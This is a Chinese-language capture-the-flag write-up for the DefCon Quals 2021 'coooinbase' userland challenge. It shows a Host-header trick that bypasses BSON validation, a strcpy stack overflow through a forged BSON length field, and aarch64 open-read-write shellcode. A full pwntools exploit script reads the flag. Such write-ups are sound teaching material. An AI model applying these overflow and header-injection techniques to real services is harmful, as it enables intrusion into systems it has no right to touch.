PWN掉一款小型开源OS——用户态利用

robots

 

题目来源于DefCon Quals 2021的coooinbase二连pwn,第一部分是用户空间利用,第二部分是内核利用。本篇文章是coooinbase用户态pwn的解题思路。

在Github上找到对应源码

这是一款极其精简的的OS,没有shell,甚至只实现了有限的几个系统调用,包括open、read、write等。在coooinbase.bin这个内核基础上,再跑着一个用户态进程run,以下是关于run这个用户态进程的pwn

 

Ruby源码审计

给了以下几个文件,执行ruby x.rb启动题目环境

解压文件系统

mkdir /tmp/dos
sudo mount -o loop ./rootfs.img /tmp/dos
file /tmp/dos/bin
/tmp/dos/bin: PDP-11 kernel overlay
cat /tmp/dos/flg
OOO{this_is_from_userland}

x.rb,会对输入的credit_card进行校验,看下是否valid,可用4485-7873-4804-0088通过检查

通过POST方法/gen-bson获取cvvexpmonthexpyearcardnumber参数,序列化成bson数据,最后转成base64。但是,bson只能接受0x0~0x7f的utf-8数据,超出这个范围的byte数据会导致没法通过x.rb的check,这为后续构造rop带来困难。

将bson数据传给/buy这个POST方法,注意到http://#{env['HTTP_HOST']}/gen-bson的访问是通过HTTP_HOST参数,也就是能通过http header的Host参数去设置URI.parse的链接

现在转而向我们搭建的http server去获取gen-bson这个文件或者接口,这样便能绕过bson序列化,直接将任意byte的base64数据喂给x.sh

curl -X POST -d "cvc=123" http://localhost:4567/buy -H "Host: localhost:8080"

 

静态分析

导入Ghidra,Language选择aarch64小端

读取喂入的base64数据,最多读512 bytes,然后base64 decode

获取base64 decode后的bson数据,将bson数据复制到payload_start,分别获取bson的CVCMONYRCC键值,其中CC是str类型,其余为num类型,最后输出CC的str内容

process_cc里有一处strcpy栈溢出,直接将CC字符串拷贝到栈上。由于栈空间是根据CC字符串串长度来动态扩展,下面需要分析bson数据结构。

 

BSON数据结构

接下来分析一下bson数据结构,通过以下脚本生成bson序列化数据

import bson

obj = {
    'CVC': 1111,
    'MON': 11,
    'CC': "AAAAAAAAAAAAAAAAAAAAAA",
    'YR': 1111
}

bs = bson.dumps(obj)
print(hexdump(bs))

bson数据有几个重要结构:
1.开始的4个byte,表示整个bson数据的总长度;
2.\x10\x02表示这个key对应存放的是num、str类型的数据;
3.key和value之间用\x00分隔;
4.str类型的数据,有一个额外4个byte的数值指示value的长度。

现在便可构造bson数据结构,bson结构最后有个\x00,需要先去掉。然后拼接上CC结构,CC长度为字符串长度+1,最后1 byte为\x00。另外,bson结构结束符为\x00,需要在最后补上。注意,CVC是信用卡的后三码,这里指定为三位数字。

obj = {
    'CVC': 111,
    'MON': 11,
    'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x17)
bs += b'C'*22 + b'\x00'
bs += b'\x00'

#print(hexdump(bs))
print(b64e(bs)+' ')

 

Debug

编辑x.sh,增加-s -S参数,开启调试接口并在内核启动时挂起

qemu-system-aarch64 -s -S -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly

现将AAAAA...串的base64存到payload文件,执行./x.sh < payload喂入数据

userland程序装载地址为0x0

喂入构造好的bson base64数据python solve.py | x.sh,断在strcpy处。现在程序将AAAAAAA...串拷贝到process_cc栈上

但此处的栈会根据bson CC结构里的4个byte长度去动态扩展栈空间,因而没法溢出到返回地址0xf958。但我们可以通过修改这4个byte长度结构去绕过,给出一个较小的长度与一个较长的字符串,便能覆盖process_cc的返回地址

返回地址已被覆盖为AAAAAAAA

成功劫持了PC

 

Hijack to ORW

由于OS内核并没有PIE、NX、Canary等保护,可以跳回栈上执行shellcode。同时,OS并未实现execve等pop shell系统调用,只能通过orw读flag。

shellcode = '''ldr x0,=0x676c662f // /flg
mov x1, 0x0        // open mode
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340      // SYS_open
blr  x5

mov x1, 0xf940     // buf
mov x2, 0x36       // size
mov x5, 0x34c      // SYS_read
blr  x5

mov x0, 0xf940     // buf
mov x5, 0x310      // SYS_write
blr  x5'''

strcpy\x00截断,需要找另外一处存放有shellcode的内存空间

注意到main方法中的base64_decode会将decode后的bson数据存放到一个栈地址上,返回到此处就行

shellcode布置在0xfc46

process_cc返回地址覆盖为0xfc46

get flag~

 

Script

完整EXP

from pwn import *
import bson

context.arch = 'aarch64'

obj = {
    'CVC': 111,
    'MON': 11,
    'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x18)
bs += p64(0xfc46)#ret addr

shellcode = '''ldr x0,=0x676c662f // /flg
mov x1, 0x0        // open mode
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340      // SYS_open
blr  x5

mov x1, 0xf940     // buf
mov x2, 0x36       // size
mov x5, 0x34c      // SYS_read
blr  x5

mov x0, 0xf940     // buf
mov x5, 0x310      // SYS_write
blr  x5'''

payload = asm(shellcode)
bs += payload + b'\x00'
bs += b'\x00'

#print(hexdump(bs))
print(b64e(bs)+' ')
(完)